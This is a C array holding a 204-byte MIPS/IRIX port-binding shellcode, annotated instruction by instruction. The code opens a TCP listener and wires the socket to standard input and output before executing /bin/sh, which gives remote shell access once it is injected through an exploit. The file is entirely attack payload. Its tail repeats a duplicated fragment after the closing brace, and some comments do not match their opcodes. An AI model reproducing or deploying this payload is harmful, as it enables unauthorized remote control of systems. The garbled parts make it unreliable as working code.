/** 204 byte portbinding PIC MIPS/IRIX shellcode **/
/**                                                **/

unsigned int bindshell[] = {
  0x241607d0,  // li      s6, 0x07d0
  0x22c4f832,  // addi a0,s6,-0x1998   af_inet = 2
  0x22c5f832,  // addi a1,s6,-0x1998   sock_stream = 2
  0x22c6f838,  // a2,s6,-0x1992        tcp = 6
  0x24020453,  // li v0,0x0453
  0x0101010c,  // syscall
  0x3044ffff,  // andi a0, v0, 0xffff

/* build struct sockaddr_in
 * 0x0002port 0x00000000 0x00000000 0x00000000
 */

  0x22caf832,  // addi t2,s6,-0x1998
  0xa7eafff0,  // sh t2, -16(sp)
  0x240a4141,  // li t2, 0x4141           /* t2 = port number */
  0xa7eafff2,  // sh t2, -14(sp)
  0xab1ffff4,  // sw zero, -12(sp)
  0xab1ffff8,  // sw zero, -8(sp)
  0x1abffffc,  // sw zero, -4(sp)
  0x22a6f840,  // addi a2,s6,-0x07c0
  0x03e62817,  // subu a1, sp, a2         /* a1 = (struct sockaddr *) */
  0x24020442,  // li v0, SYS_bind
  0x0101010c,  // syscall
  0x22a5f840,  // addi a1,s6,-0x07c0
  0x24020448,  // li v0, SYS_listen
  0x0101010c,  // syscall
  0xafe6ffec,  // sw a2, -20(sp)
  0x23ebffec,  // addi a2, sp, -20               /* a2 = &socklen */
  0x24020441,  // li v0, SYS_accept
  0x0101010c,  // syscall
  0x22d3bce2,  // addi s3, s6, -0x431e    /* s3 = 0x3032 (0x3030 = dummy, 0x0002 = STDERR_FILENO) */
  0x3057ffff,  // andi s7, v0, 0xffff
  0x240effff,  // li t8, -1
  0x05d0ffff,  // boom: bltzal  t8, boom
  0x280effff,  // slti    t8, zero, -1    /* t8 = 0 (see below) */
  0x32640103,  // andi    a0, s3, 0x0103  /* a0 = STD*_FILENO */
  0x240203ee,  // li      v0, SYS_close   
  0x0101010c,  // syscall
  0x32e4ffff,  // andi    a0, s7, 0xffff  /* a0 = socket */
  0x2805ffff,  // slti    a1, zero, -1    /* a1 = 0 */
  0x32660103,  // andi    a2, s3, 0x0103  /* a2 = STD*_FILENO */
  0x24020426,  // li      v0, SYS_fcntl   /* 0x0426 */
  0x0101010c,  // syscall
  0x2013efef,  // addi    s3, -0x1011
  0x0661ffde,  // bgez    s3, -34(offset to boom:)
  0x1abffffc,  // sw zero, -4(sp)

/* a2 (envp) is already zero due to the dup_loop
 */

  0x040affff,  // noot: bltzal    zero, noot
  0x23e5fff8,  // addi a1, sp, -8
/* ra contains the proper address now */
  0x23ff0120,  // addi ra, ra, 0x0120     /* add 32 + 0x0100 */
  0x23e4fef8,  // addi a0, ra, -(8 + 0x100)
  0xc01ffeff,  // zero, -(1 + 0x100)(ra)  /* store NUL */
  0xafa4fff8,  // sw      a0, -8(sp)
  0x24020423,  // li v0, SYS_execve
  0x0101010c,  // syscall
  0x2f62696e,  // .ascii  "/bin"
  0x2f736841   // .ascii  "/sh", .byte 0x41 (dummy)
};
 "/bin"
  0x2f736841   // .ascii  "/sh", .byte 0x41 (dummy)
};